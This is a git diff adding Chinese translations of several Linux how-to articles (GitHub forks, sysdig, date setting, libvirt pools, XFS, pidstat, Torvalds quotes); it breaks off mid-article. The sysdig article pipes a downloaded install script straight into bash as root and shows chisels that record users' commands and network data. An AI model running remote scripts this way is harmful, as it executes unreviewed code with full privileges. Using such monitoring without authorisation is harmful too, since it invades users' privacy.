http://thechangelog.com/ansible-docker/ + +作者:[Gerhard Lazu][a] +译者:[bazz2](https://github.com/bazz2) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://twitter.com/gerhardlazu +[1]:https://www.docker.io/ +[2]:https://github.com/ansible/ansible +[3]:http://ansible.com/ +[4]:http://docker.io/ +[5]:http://en.wikipedia.org/wiki/Single_responsibility_principle +[6]:http://blog.docker.io/2013/10/docker-0-6-5-links-container-naming-advanced-port-redirects-host-integration/ +[7]:https://speakerdeck.com/gerhardlazu/ansible-and-docker-the-path-to-continuous-delivery-part-1 +[8]:http://thechangelog.com/weekly/ +[9]:https://github.com/thechangelog/draft diff --git a/published/201411/20141012 Simple guide to forks in github and git.md b/published/201411/20141012 Simple guide to forks in github and git.md new file mode 100644 index 0000000000..bb087dc250 --- /dev/null +++ b/published/201411/20141012 Simple guide to forks in github and git.md @@ -0,0 +1,71 @@ +在Github和Git上fork之简单指南 +=== + +以我的经验来看,刚接触Git和GitHub时,最困扰的一件事情就是尝试解决下面的问题:**在Git和GitHub上,我能做什么?** + +Git教程往往不会解决这个问题,因为它集中篇幅来教你Git命令和概念,并且不认为你会使用GitHub。[GitHub帮助教程](https://help.github.com/)一定程度上弥补了这一缺陷,但是它每篇文章的关注点都较为狭隘,而且没有提供关于"Git vs GitHub"问题的概念性概述。 + +**如果你是习惯于先理解概念,再着手代码的学习者**,而且你也是Git和GitHub的初学者,我建议你先理解清楚什么是fork。为什么呢 ? + +1. Fork是在GitHub起步最普遍的方式。 +2. Fork只需要很少的Git命令,但是起得作用却非常大。 +3. Fork提供了对Git和GitHub最基础的了解,有益于你之后的工作。 + +**本篇指南使用两张简单的图表,来教会你fork的两种主要工作流程。**我并不打算涉及任何代码,但是在结论中,我会把你需要使用的代码的链接给你。 + +### fork并且更新一个仓库 + +现在有这样一种情形:有一个叫做Joe的程序猿写了一个游戏程序,而你可能要去改进它。并且Joe将他的代码放在了GitHub仓库上。下面是你要做的事情: + +![Alt text](https://app.yinxiang.com/shard/s14/sh/ff60f113-2880-47b0-ba99-c296803dbe7d/700ebd0916916079da437d9e231f73d4/res/8aab524b-6ea1-4a2f-b03b-143f12b0e71b/github1.png) + +**fork并且更新GitHub仓库的图表演示** + +1. **Fork他的仓库**:这是GitHub操作,这个操作会复制Joe的仓库(包括文件,提交历史,issues,和其余一些东西)。复制后的仓库在你自己的GitHub帐号下。目前,你本地计算机对这个仓库没有任何操作。 + +2. **Clone你的仓库**:这是Git操作。使用该操作让你发送"请给我发一份我仓库的复制文件"的命令给GitHub。现在这个仓库就会存储在你本地计算机上。 + +3. **更新某些文件**:现在,你可以在任何程序或者环境下更新仓库里的文件。 + +4. **提交你的更改**:这是Git操作。使用该操作让你发送"记录我的更改"的命令至GitHub。此操作只在你的本地计算机上完成。 + +5. **将你的更改push到你的GitHub仓库**:这是Git操作。使用该操作让你发送"这是我的修改"的信息给GitHub。Push操作不会自动完成,所以直到你做了push操作,GitHub才知道你的提交。 + +6. **给Joe发送一个pull request**:如果你认为Joe会接受你的修改,你就可以给他发送一个pull request。这是GitHub操作,使用此操作可以帮助你和Joe交流你的修改,并且询问Joe是否愿意接受你的"pull request",当然,接不接受完全取决于他自己。 + +如果Joe接受了你的pull request,他将把那些修改拉到自己的仓库。胜利! + +### 同步一个fork + +Joe和其余贡献者已经对这个项目做了一些修改,而你将在他们的修改的基础上,还要再做一些修改。在你开始之前,你最好"同步你的fork",以确保在最新的复制版本里工作。下面是你要做的: + +![Alt text](https://app.yinxiang.com/shard/s14/sh/ff60f113-2880-47b0-ba99-c296803dbe7d/700ebd0916916079da437d9e231f73d4/res/9ae7ff2b-ebda-478b-ac57-002e92ffde72/github2.png) + +*同步GitHub fork的图表示意图* + +1. **从Joe的仓库中取出那些变化的文件**:这是Git操作,使用该命令让你可以从Joe的仓库获取最新的文件。 + +2. **将这些修改合并到你自己的仓库**:这是Git操作,使用该命令使得那些修改更新到你的本地计算机(那些修改暂时存放在一个"分支"中)。记住:步骤1和2经常结合为一个命令使用,合并后的Git命令叫做"pull"。 + +3. **将那些修改更新推送到你的GitHub仓库**(可选):记住,你本地计算机不会自动更新你的GitHub仓库。所以,唯一更新GitHub仓库的办法就是将那些修改推送上去。你可以在步骤2完成后立即执行push,也可以等到你做了自己的一些修改,并已经本地提交后再执行推送操作。 + +**比较一下fork和同步工作流程的区别**:当你最初fork一个仓库的时候,信息的流向是从Joe的仓库到你的仓库,然后再到你本地计算机。但是最初的过程之后,信息的流向是从Joe的仓库到你的本地计算机,之后再到你的仓库。 + +### 结论 + +我希望这是一篇关于GitHub和Git 的 [fork](https://help.github.com/articles/fork-a-repo)有用概述。现在,你已经理解了那些概念,你将会更容易地在实际中执行你的代码。GitHub关于fork和[同步](https://help.github.com/articles/syncing-a-fork)的文章将会给你大部分你需要的代码。 + +如果你是Git的初学者,而且你很喜欢这种学习方式,那么我极力推荐书籍[Pro Git](http://git-scm.com/book)的前两个章节,网上是可以免费查阅的。 + +如果你喜欢视频学习,我创建了一个[11部分的视频系列](http://www.dataschool.io/git-and-github-videos-for-beginners/)(总共36分钟),来向初学者介绍Git和GitHub。 + +--- +via: http://www.dataschool.io/simple-guide-to-forks-in-github-and-git/ + +作者:[Kevin Markham][a] +译者:[su-kaiyao](https://github.com/su-kaiyao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:https://disqus.com/home/user/justmarkham/ \ No newline at end of file diff --git a/published/201411/20141014 How to monitor and troubleshoot a Linux server using sysdig.md b/published/201411/20141014 How to monitor and troubleshoot a Linux server using sysdig.md new file mode 100644 index 0000000000..1239f33483 --- /dev/null +++ b/published/201411/20141014 How to monitor and troubleshoot a Linux server using sysdig.md @@ -0,0 +1,149 @@ +系统之锹sysdig:Linux服务器监控和排障利器 +================================================================================ +当你需要追踪某个进程产生和接收的系统调用时,首先浮现在你脑海中的是什么?你可能会想到strace,那么你是对的。你会使用什么样的命令行工具来监控原始网络通信呢?如果你想到了tcpdump,你又作出了一个极佳的选择。而如果你碰到必须追踪打开的文件(在Unix意义上:一切皆文件)的需求,可能你会使用lsof。 + +strace、tcpdump以及lsof,确实是些伟大的工具,它们应该成为每个系统管理员工具集之中的一部分,而这也正是你为什么应该爱上[sysdig][1]的原因。它是一个强大的开源工具,用于系统级别的勘察和排障,它的创建者在介绍它时称之为“strace+tcpdump+lsof+上面点缀着lua樱桃的绝妙酱汁”。抛开幽默不说,sysdig的最棒特性之一在于,它不仅能分析Linux系统的“现场”状态,也能将该状态保存为转储文件以供离线检查。更重要的是,你可以自定义sysdig的行为,或者甚至通过内建的(你也可以自己编写)名为凿子(chisel)的小脚本增强其功能。单独的凿子可以以脚本指定的各种风格分析sysdig捕获的事件流。 + +在本教程中,我们将探索sysdig的安装及其基本用法,在Linux上实施系统监控和排障。 + +### 安装Sysdig ### + +对于本教程,由于为了简便、缩短安装流程以及版本的不可知,我们将选择使用官方网站提供的自动化安装过程。在自动化过程中,安装脚本会自动检测操作系统并安装必需的依赖包。 + +以root身份运行以下命令来从官方apt/yum仓库安装sysdig: + + # curl -s https://s3.amazonaws.com/download.draios.com/stable/install-sysdig | bash + +![](https://farm6.staticflickr.com/5616/15334678580_99c5d38328_z.jpg) + +安装完成后,我们可以通过以下方法调用sysdig来感受一下它: + + # sysdig + +我们的屏幕将马上被系统上发生的所有事件填满,对于这些信息,不便于我们做更多操作。要进一步处理,我们可以运行: + + # sysdig -cl | less + +来查看可用的凿子列表。 + +![](https://farm4.staticflickr.com/3938/15334678610_e5956a26e8_z.jpg) + +默认有以下类目可用,各个类目中分布有多个内建的凿子。 + +- CPU Usage:CPU使用量 +- Errors:错误 +- I/O +- Logs:日志 +- Misc:混杂 +- Net:网络 +- Performance:性能 +- Security:安全 +- System State:系统状态 + +要显示指定凿子上的信息(包括详细的命令行用法),运行以下命令: + + # sysdig -cl [凿子名称] + +例如,我们可以检查“网络”类目下关于spy_port凿子的信息: + + # sysdig -i spy_port + +![](https://farm4.staticflickr.com/3945/15521424095_0365bf20c3_z.jpg) + +凿子可以通过过滤器(可同时应用于实时数据和记录文件)组合,以获取更多有用的输出。 + +过滤器遵从“类.字段”结构。例如: + +- **fd.cip**:客户端IP地址。 +- **evt.dir**:事件方向,可以是‘>’用于进入事件,或‘<’用于退出事件。 + +完整的过滤器列表可以通过以下命令显示: + + # sysdig -l + +在本教程剩余部分,我将演示几个sysdig的使用案例。 + +### Sysdig实例: 服务器性能排障 ### + +假定你的服务器发生了性能问题(如,没有回应,或者重大的回应延迟)。你可以使用瓶颈凿子来显示当前10个最慢系统调用的列表。 + +使用以下命令在存活服务器上进行实时检查。“-c”标识,后跟凿子名称告诉sysdig运行指定的凿子。 + + # sysdig -c bottlenecks + +或者,你可以离线对服务器实施性能分析。在此种情况下,你可以保存完整的sysdig记录到文件,然后像下面这样针对记录运行瓶颈凿子。 + +首先,保存sysdige记录(使用Ctrl+c来停止收集): + + # sysdig -w trace.scap + +收集完记录后,你可以运行以下命令来检查捕获间隔中最慢的系统调用: + + # sysdig -r trace.scap -c bottlenecks + +![](https://farm6.staticflickr.com/5611/15334678670_ebbe93265e_z.jpg) + +你需要关注栏#2,#3和#4,这些分别表示执行时间、进程名和PID。 + +### Sysdig实例: 监控交互用户活动 ### + +假定你作为系统管理员想要监控系统中交互的用户活动(如,用户在命令行输入了什么命令,以及用户去了什么目录),这时spy_user凿子就派上用场了。 + +让我们首先通过一些额外选项来收集一个sysdig记录。 + + # sysdig -s 4096 -z -w /mnt/sysdig/$(hostname).scap.gz + +- “-s 4096”告诉sysdig每个事件捕获4096字节。 +- “-z” (与“-w”一起使用)为记录文件启用压缩。 +- “-w ”保存sysdig记录到指定的文件。 + +在上面的例子中,我们自定义了基于每个主机的压缩的记录文件的名称。记住,你可以在任何时候按下Ctrl+c来打断sysdig的执行。 + +在我们收集到了合理数量的数据后,我们可以通过运行以下命令来查看每个用户的交互活动: + + # sysdig -r /mnt/sysdig/debian.scap.gz -c spy_users + +![](https://farm4.staticflickr.com/3932/15518254291_5c9671ca41_z.jpg) + +上面输出的第一栏表示与指定用户的活动相关进程的PID。 + +如果你想要定位一个指定的用户,以及只监控该用户的活动又怎么样呢?你可以通过用户名对spy_users凿子的结果进行过滤: + + # sysdig -r /mnt/sysdig/debian.scap.gz -c spy_users "user.name=xmodulo" + +![](https://farm4.staticflickr.com/3944/15498248556_66d15422b1_z.jpg) + +### Sysdig实例: 监控文件I/O ### + +我们可以使用“-p”标识来自定义sysdig记录的输出格式,并指定双引号括起来的想要的字段(如用户名、进程名,以及文件或套接口名称)。在本例中,我们将创建一个记录文件,该文件将只包含在家目录中的写入事件(我们今后可以使用“sysdig -r writetrace.scap.gz”来检测该文件)。 + + # sysdig -p "%user.name %proc.name %fd.name" "evt.type=write and fd.name contains /home/" -z -w writetrace.scap.gz + +![](https://farm6.staticflickr.com/5610/15498248586_de5f5fc93d_z.jpg) + +### Sysdig实例: 监控网络I/O ### + +作为服务器排障的一部分,你可能想要监听网络通信,此工作通常由tcpdump做。对于sysdig,可以很容易进行通信嗅探,其风格更为对用户友好。 + +例如,你可以检查由特定IP地址,特定进程(如apache2)提供的数据(ASCII编码格式): + + # sysdig -s 4096 -A -c echo_fds fd.cip=192.168.0.100 -r /mnt/sysdig/debian.scap.gz proc.name=apache2 + +如果你想要监控原生数据传输(二进制格式),请把“-A”替换为“-X”: + + # sysdig -s 4096 -X -c echo_fds fd.cip=192.168.0.100 -r /mnt/sysdig/debian.scap.gz proc.name=apache2 + +要获取更多信息、实例以及案例分析,你可以查阅[项目网站][1]。相信我,会有着无限可能,但请不要仅仅局限于我所写的这些。安装sysdig,请从今天开始深入挖掘吧! + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/monitor-troubleshoot-linux-server-sysdig.html + +作者:[Gabriel Cánepa][a] +译者:[GOLinux](https://github.com/GOLinux) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://xmodulo.com/author/gabriel +[1]:http://www.sysdig.org/ diff --git a/published/201411/20141014 Linux FAQs with Answers--How to change date and time from the command line on Linux.md b/published/201411/20141014 Linux FAQs with Answers--How to change date and time from the command line on Linux.md new file mode 100644 index 0000000000..c8511cf36c --- /dev/null +++ b/published/201411/20141014 Linux FAQs with Answers--How to change date and time from the command line on Linux.md @@ -0,0 +1,84 @@ +Linux 有问必答:在 Linux 上如何通过命令行来更改日期和时间 +================================================================================ +> **问题**: 在 Linux 上, 我怎样通过命令行来改变日期和时间? + +在 Linux 系统中保持日期和时间的同步是每一个 Linux 用户和系统管理员的重要责任. 很多程序都依靠精确的时间信息得以正常工作. 另外, 不精确的日期和时间会使得日志文件中的时间戳变得毫无意义, 减弱了它们在系统检查和检修中的作用. 对于生产系统来说, 精确的日期和时间甚至更为重要. 例如, 在零售公司中, 所有产品必须时刻准确地计数(并储存在数据库服务器中)以便于财政部门计算每天及每周,每月,每年的支出和收入. + +我们必须注意, 在 Linux 机器上有两种时钟: 由内核维持的软件时钟(又称系统时钟)和在机器关机后记录时间的(电池供电的)硬件时钟. 启动的时候, 内核会把系统时钟与硬件时钟同步. 之后, 两个时钟各自独立运行. + +### 方法一: Date 命令 ### + +在 Linux 中, 你可以通过 date 命令来更改系统的日期和时间: + + # date --set='NEW_DATE' + +其中 NEW_DATE 是诸如 "Sun, 28 Sep 2014 16:21:42" 或者 "2014-09-29 16:21:42" 的可读格式的日期字符串. + +日期格式也可以手动指定以获得更精确的结果: + + # date +FORMAT --set='NEW_DATE' + +例如: + + # date +’%Y%m%d %H%m’ --set='20140928 1518' + +![](https://farm3.staticflickr.com/2944/15220890657_858528a186_o.png) + +你也可以用相对的方式地增加或减少一定的天数,周数,月数和秒数,分钟数,小时数。 你也可以把日期和时间的参数放到一个命令中。 + + # date --set='+5 minutes' + # date --set='-2 weeks' + # date --set='+3 months' + # date --set='-3 months +2 weeks -5 minutes' + +![](https://farm3.staticflickr.com/2943/15220655239_deba528dce_o.png) + +最后, 把硬件时钟设置为当前系统时钟: + + # hwclock --systohc + +运行 **hwclock --systohc** 的目的是将硬件时钟同软件时钟同步, 这可以更正硬件时钟的系统漂移(即时钟按照一定的速度走快或走慢). + +另一方面, 如果硬件时钟是正确的, 但系统时钟有误, 可以用下面的命令更正: + + # hwclock --hctosys + +在两种情况下, hwclock 命令都是将两个时钟同步. 否则, 重启后时间会是错误的, 因为当电源关闭时硬件时钟会记忆时间. 然而, 这对于虚拟机器并不适用, 因为虚拟机器并不能访问硬件时钟. + +如果你的 Linux 系统上的默认时区是错误的, 你可以按照[这个指导][1]进行更正. + +### 方法二: NTP ### + +另一种使系统日期和时间保持精确的方法是使用 NTP (网络时间协议). 在 Linux 上, ntpdate 命令通过 NTP 将系统时钟和[公共 NTP 服务器][2]同步. + +你可以使用如下命令来安装 **ntpdate**: + +在 Debian 及基于 Debian 的发行版上: + + # aptitude install ntpdate + +在基于 Ret Hat 的发行版上: + + # yum install ntpdate + +使用 NTP 同步系统时钟: + + # ntpdate -u + # hwclock --systohc + +![](https://farm4.staticflickr.com/3930/15404223021_8da3b44a62_z.jpg) + +除了一次性使用 ntpdate 来同步时钟, 你也可以使用 NTP 守护进程(ntpd), 它会始终在后台运行, 不断地通过 NTP 来调整系统时钟. 关于 NTP 的设置, 请参考[这个指导][3]. + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/change-date-time-command-line-linux.html + +译者:[wangjiezhe](https://github.com/wangjiezhe) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://ask.xmodulo.com/change-timezone-linux.html +[2]:http://www.pool.ntp.org/ +[3]:http://xmodulo.com/how-to-synchronize-time-with-ntp.html diff --git a/published/201411/20141014 Linux FAQs with Answers--How to change default location of libvirt VM images.md b/published/201411/20141014 Linux FAQs with Answers--How to change default location of libvirt VM images.md new file mode 100644 index 0000000000..af4b02c606 --- /dev/null +++ b/published/201411/20141014 Linux FAQs with Answers--How to change default location of libvirt VM images.md @@ -0,0 +1,90 @@ +Linux 有问必答:如何改变libvirt VM镜像的默认位置 +================================================================================ +> **提问**: 我使用libvirt和virt-manager在我的Linux系统上创建虚拟机。我注意到虚拟机镜像位于/var/lib/libvirt/images目录。有没有办法改变虚拟机镜像的默认路径? + +**libvirt**和它的GUI前端**virt-manager**可以使用不同的虚拟机管理程序创建和管理VM,例如LVM和Xen。默认上所有的虚拟机镜像通过**libvirt**创建到/var/lib/libvirt/images目录。然而,这有时并不是我们希望的。比如/var/lib/libvirt/images此处的磁盘分区大小有限。或者你想要存储所有的虚拟机镜像到一个特定的用于管理的仓库中。 + +实际上,你可以非常容易地改变libvirt镜像的默认目录,或者称之为“存储池”。 + +有两种方法可以改变默认存储池。 + +### 方法一: Virt-Manager GUI ### + +如果你正在使用virt-manager GUI程序,改变默认存储池非常容易。 + +进入**virt-manager**的菜单GUI “编辑” -> "连接细节"。 + +![](https://farm4.staticflickr.com/3935/15433062592_0d89a8d132_o.png) + +你可以看到如下所是的默认存储池。在窗口的左下角,点击叉形按钮,将会停止默认的存储池。存储池一旦停止后,点击右边的垃圾桶,将会删除存储池。**注意这个动作不会删除池中的镜像。** + +现在点击左边的加号增加一个新的存储池。 + +![](https://farm6.staticflickr.com/5600/15246703330_26884c8258_b.jpg) + +输入新的存储池的名字(比如:default),并且选择存储池的类型。本例中,因为我们只是改变存储池目录所以选择“文件系统目录”。 + +![](https://farm4.staticflickr.com/3928/15433416355_1a2f9f85ab_b.jpg) + +输入新的存储池路径(比如,/storage)。 + +![](https://farm6.staticflickr.com/5599/15433062732_195fa6701b_b.jpg) + +这时,新的存储池应该启动了,并且自动在你创建一个新的虚拟机的时候使用。 + +![](https://farm4.staticflickr.com/3934/15430217721_b14c3a93fa_b.jpg) + +### 方法二: Virsh 命令行 ### + +另外一个改变默认存储池目录的方法是使用来自**libvirt**包的**virsh** 命令行工具。 + +首先,运行下面的命令来导出默认存储池的XML定义。 + + $ virsh pool-dumpxml default > pool.xml + +用文本编辑器打开XML文件,并且改变节点中的/var/lib/libvirt/images改成新的地址。 + + + default + 0ec0e393-28a2-e975-feec-0c7356f38d08 + 975762788352 + 530052247552 + 445710540800 + + + + /var/lib/libvirt/images + + 0711 + -1 + -1 + + + + +移除现在的默认池。 + + $ virsh pool-destroy default + +---------- + + Pool default destroyed + +现在创建一个基于更新后的XML文件的新存储池。 + + $ virsh pool-create pool.xml + +---------- + + Pool default created from pool.xml + +这时,默认池已经改变到新的地址了,并且可以使用了。 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/change-default-location-libvirt-vm-images.html + +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 \ No newline at end of file diff --git a/published/201411/20141014 Linux FAQs with Answers--How to create and mount an XFS file system on Linux.md b/published/201411/20141014 Linux FAQs with Answers--How to create and mount an XFS file system on Linux.md new file mode 100644 index 0000000000..e30ae8b532 --- /dev/null +++ b/published/201411/20141014 Linux FAQs with Answers--How to create and mount an XFS file system on Linux.md @@ -0,0 +1,68 @@ +Linux有问必答-如何创建和挂载XFS文件系统 +================================================================================ +> **问题**: 我听说一个牛X的文件系统XFS,打算在我的磁盘上试试XFS。那格式化和挂载XFS文件系统的Linux命令是什么呢? + +[XFS][1]是高性能文件系统,SGI为他们的IRIX平台而设计。自从2001年移植到Linux内核上,由于它的[高性能][2],XFS成为了许多企业级系统的首选,特别是有大量数据,需要结构化伸缩性和稳定性的。例如,RHEL/CentOS 7 和Oracle Linux将XFS作为默认文件系统,SUSE/openSUSE已经为XFS做了长期支持。 + +XFS有许多独特的性能提升功能使他从众多文件系统中脱颖而出,像可伸缩/并行 IO,元数据日志,热碎片整理,IO 暂停/恢复,延迟分配等。 + +如果你想要创建和挂载XFS文件系统到你的Linux平台,下面是相关的操作命令。 + +### 安装 XFS系统工具集 ### + +首先,你需要安装XFS系统工具集,这样允许你执行许多XFS相关的管理任务。(例如:格式化,[扩展][3],修复,设置配额,改变参数等) + +Debian, Ubuntu , Linux Mint系统: + + $ sudo apt-get install xfsprogs + +Fedora, CentOS, RHEL系统: + + $ sudo yum install xfsprogs + +其他版本Linux: + + $ sudo pacman -S xfsprogs + +### 创建 XFS格式分区 ### + +先准备一个分区来创建XFS。假设你的分区在/dev/sdb,如下: + + $ sudo fdisk /dev/sdb + +![](https://farm6.staticflickr.com/5604/15474273555_1c0c4be527_b.jpg) + +假设此创建的分区叫/dev/sdb1。 + +接下来,格式化分区为XFS,使用mkfs.xfs命令。如果已有其他文件系统创建在此分区,必须加上"-f"参数来覆盖它。 + + $ sudo mkfs.xfs -f /dev/sdb1 + +![](https://farm4.staticflickr.com/3930/15287704767_fe5ded8ea1_b.jpg) + +至此你已经准备好格式化后分区来挂载。假设/storage是XFS本地挂载点。使用下述命令挂载: + + $ sudo mount -t xfs /dev/sdb1 /storage + +验证XFS挂载是否成功: + + $ df -Th /storage + +![](https://farm4.staticflickr.com/3938/15474273445_aeacdca6eb_o.png) + +如果你想要启动时自动挂载XFS分区在/storage上,加入下列行到/etc/fstab: + + /dev/sdb1 /storage xfs defaults 0 0 + +-------------------------------------------------------------------------------- + +via: http://ask.xmodulo.com/create-mount-xfs-file-system-linux.html + +译者:[Vic___/VicYu](http://www.vicyul.net/) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xfs.org/ +[2]:http://lwn.net/Articles/476263/ +[3]:http://ask.xmodulo.com/expand-xfs-file-system.html diff --git a/published/201411/20141017 Linus Torvalds' Best Quotes from LinuxCon Europe 2014.md b/published/201411/20141017 Linus Torvalds' Best Quotes from LinuxCon Europe 2014.md new file mode 100644 index 0000000000..25122894c8 --- /dev/null +++ b/published/201411/20141017 Linus Torvalds' Best Quotes from LinuxCon Europe 2014.md @@ -0,0 +1,60 @@ +2014年欧洲LinuxCon大会Linus Torvalds的最佳语录 +================================================================================ +![](http://www.linux.com/images/stories/41373/Linus-Dirk-2014.jpg) + +在今年的10月15日星期三,Linux的创造者Linus Torvalds出席了欧洲LinuxCon和CloudOpen大会并回答了英特尔的Linux及开源技术专家Dirk Hohndel提出的问题。 + +Linus Torvalds在那天的[欧洲LinuxCon和CloudOpen大会][1]上说,从他首次创造出Linux操作系统到现在的23年里,他没后悔过任何他做过的技术决策。 + +“技术问题,甚至是完全错误的技术问题,你也可以之后再去修复它。” Torvalds说。 + +![](http://www.linux.com/images/stories/41373/Linus-Torvalds-2014.jpg) + +他还说,尽管这些个人问题和异议在社区里“日益繁荣”,但是这些人或许能创造出最好的技术。 + +他本人就是这样的,然而,他对他在内核邮件列表中用粗话对待开发者和用户的事情感到遗憾。但是彼此间的关系不可能那么轻易就缓和。 + +社区里的那些人能创造出最好的技术同样也是Torvalds的终极目标和期望。 + +在英特尔的Linux及开源技术专家Dirk Hohndel的问答环节里,Torvalds 谈了社区里的一些现状和内核开发进展,谈了怎么成为一名内核开发者以及Linux的未来。以下是对话中的一些闪光点。 + +**1.** “在过去的几年里,我们开发的速度真的没有慢下来。每个版本我们都能从超过1000个人中得到大约100000个补丁,最终效果自然是非常好的。” + +**2.** Dirk Hohndel: “你说你希望不只一个子系统的维护人员考虑对x86模型产生兴趣,你是怎么把自己的建议应用到实际中的? + +Torvalds: “某一天我可能不得不这么做。目前我还没有收到关于'不主动'的任何投诉。主动是一个内核开发者最重要的东西,不论水平档次...迄今为止,一定程度上要感谢Git,我才能一直保持着前进的动力。” + +**3.** “很多人都想要得到市场份额数,包括很多用户,因为那是体现自我价值的一种方式。就我来说,对Linux最重要的事情之一,就是拥有一个一直在不停测试新内核的大社区,这是支持我们处理大量硬件问题的唯一办法。” + +**4.** Hohndel: “如果你能改变在过去23年里尼做过的一个决策,你会怎么做?” + +Torvalds: “从技术角度来看,没有哪个决定重要到这个程度...有个问题是慢慢地疏远了用户和开发者,而我却恰恰很擅长这个。我说了粗话,但是这不是我想要改变的某一个决定,这些粗话应该有所限制。” + +**5.** “大多数人即使他们不一定彼此喜欢,但会尊重他们写出的代码。对于Linux来说这是很重要的一部分。真正重要的是大家都在尽自己所能产出最佳的代码。” + +**6.** “在互联网上没人能察觉到渺小的你。” + +**7.** “我们说粗话这个传统导致很多人倒胃口,其中有一个原因是当有强烈的意愿和推动力的技术人员要做一些技术上的进步时,你就需要用一些强烈的语言来表达你的意愿。” + +**8.** Hohndel: “你跟那个想成为下一个Linus的学生是怎么说的?” + +Torvalds: “寻找能让你充满热情的事情并去完成它。” + +**9.** “成为一个维护人员很容易,你只需要无限的时间并且回复人们的邮件就行。” + +**10.** Hohndel: “给Linux的未来做个大胆的预测吧。” + +Torvalds: “我能做的一个最大的猜测,就是我可能会一周更新一次RC1版本。” + +-------------------------------------------------------------------------------- + +via: http://www.linux.com/news/featured-blogs/200-libby-clark/791788-linus-torvalds-best-quotes-from-linuxcon-europe-2014 + +作者:[Libby Clark][a] +译者:[ZTinoZ](https://github.com/ZTinoZ) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://www.linux.com/community/forums/person/41373/catid/200-libby-clark +[1]:http://events.linuxfoundation.org/events/linuxcon-europe diff --git a/published/201411/20141017 pidstat - Monitor and Find Statistics for Linux Procesess.md b/published/201411/20141017 pidstat - Monitor and Find Statistics for Linux Procesess.md new file mode 100644 index 0000000000..94bc0c7444 --- /dev/null +++ b/published/201411/20141017 pidstat - Monitor and Find Statistics for Linux Procesess.md @@ -0,0 +1,88 @@ +pidstat - 监控并统计Linux进程的数据 +================================================================================ +**pidstat**命令用来监控被Linux内核管理的独立任务(进程)。它输出每个受内核管理的任务的相关信息。pidstat命令也可以用来监控特定进程的子进程。间隔参数用于指定每次报告间的时间间隔。它的值为0(或者没有参数)说明进程的统计数据的时间是从系统启动开始计算的。 + +### 如何安装pidstat ### + +pidstat 是sysstat软件套件的一部分,sysstat包含很多监控linux系统状态的工具,它能够从大多数linux发行版的软件源中获得。 + +在Debian/Ubuntu系统中可以使用下面的命令来安装 + + # apt-get install sysstat + +CentOS/Fedora/RHEL版本的linux中则使用下面的命令: + + # yum install sysstat + +### 使用pidstat ### + +使用pidstat不加任何参数等价于加上-p参数,但是只有正在活动的任务会被显示出来。 + + # pidstat + +![pidstat](http://blog.linoxide.com/wp-content/uploads/2014/09/pidstat.jpg) + +在结果中你能看到如下内容: + +- **PID** - 被监控的任务的进程号 +- **%usr** - 当在用户层执行(应用程序)时这个任务的cpu使用率,和 nice 优先级无关。注意这个字段计算的cpu时间不包括在虚拟处理器中花去的时间。 +- **%system** - 这个任务在系统层使用时的cpu使用率。 +- **%guest** - 任务花费在虚拟机上的cpu使用率(运行在虚拟处理器)。 +- **%CPU** - 任务总的cpu使用率。在SMP环境(多处理器)中,如果在命令行中输入-I参数的话,cpu使用率会除以你的cpu数量。 +- **CPU** - 正在运行这个任务的处理器编号。 +- **Command** - 这个任务的命令名称。 + +### I/O 统计数据 ### + +通过使用-d参数来得到I/O的统计数据。比如: + + # pidstat -d -p 8472 + +![pidstat io](http://blog.linoxide.com/wp-content/uploads/2014/09/pidstat-io.jpg) + +IO 输出会显示一些内的条目: + +- **kB_rd/s** - 任务从硬盘上的读取速度(kb) +- **kB_wr/s** - 任务向硬盘中的写入速度(kb) +- **kB_ccwr/s** - 任务写入磁盘被取消的速率(kb) + +### 页面失败和内存使用 ### + +使用-r标记你能够得到内存使用情况的数据。 + +![pidstat pf mem](http://blog.linoxide.com/wp-content/uploads/2014/09/pidstat-pfmem.jpg) + +重要的条目: + +- **minflt/s** - 从内存中加载数据时每秒出现的小的错误的数目,这些不要求从磁盘载入内存页面。 +- **majflt/s** - 从内存中加载数据时每秒出现的较大错误的数目,这些要求从磁盘载入内存页面。 +- **VSZ** - 虚拟容量:整个进程的虚拟内存使用(kb) +- **RSS** - 长期内存使用:任务的不可交换物理内存的使用量(kb) + +### 举例 ### + +**1.** 你可以通过使用下面的命令来监测内存使用 + + # pidstat -r 2 5 + +这会给你5份关于page faults的统计数据结果,间隔2秒。这将会更容易的定位出现问题的进程。 + +**2.** 显示所有mysql服务器的子进程 + + # pidstat -T CHILD -C mysql + +**3.** 将所有的统计数据结合到一个便于阅读的单一报告中: + + # pidstat -urd -h + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/linux-pidstat-monitor-statistics-procesess/ + +作者:[Adrian Dinu][a] +译者:[John](https://github.com/johnhoow) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[a]:http://linoxide.com/author/adriand/ diff --git a/published/201411/20141022 Linux FAQs with Answers--How to change character encoding of a text file on Linux.md b/published/201411/20141022 Linux FAQs with Answers--How to change character encoding of a text file on Linux.md new file mode 100644 index 0000000000..bdba913853 --- /dev/null +++ b/published/201411/20141022 Linux FAQs with Answers--How to change character encoding of a text file on Linux.md @@ -0,0 +1,52 @@ +Linux 有问必答:在 Linux 如何更改文本文件的字符编码 +================================================================================ +> **问题**:在我的 Linux 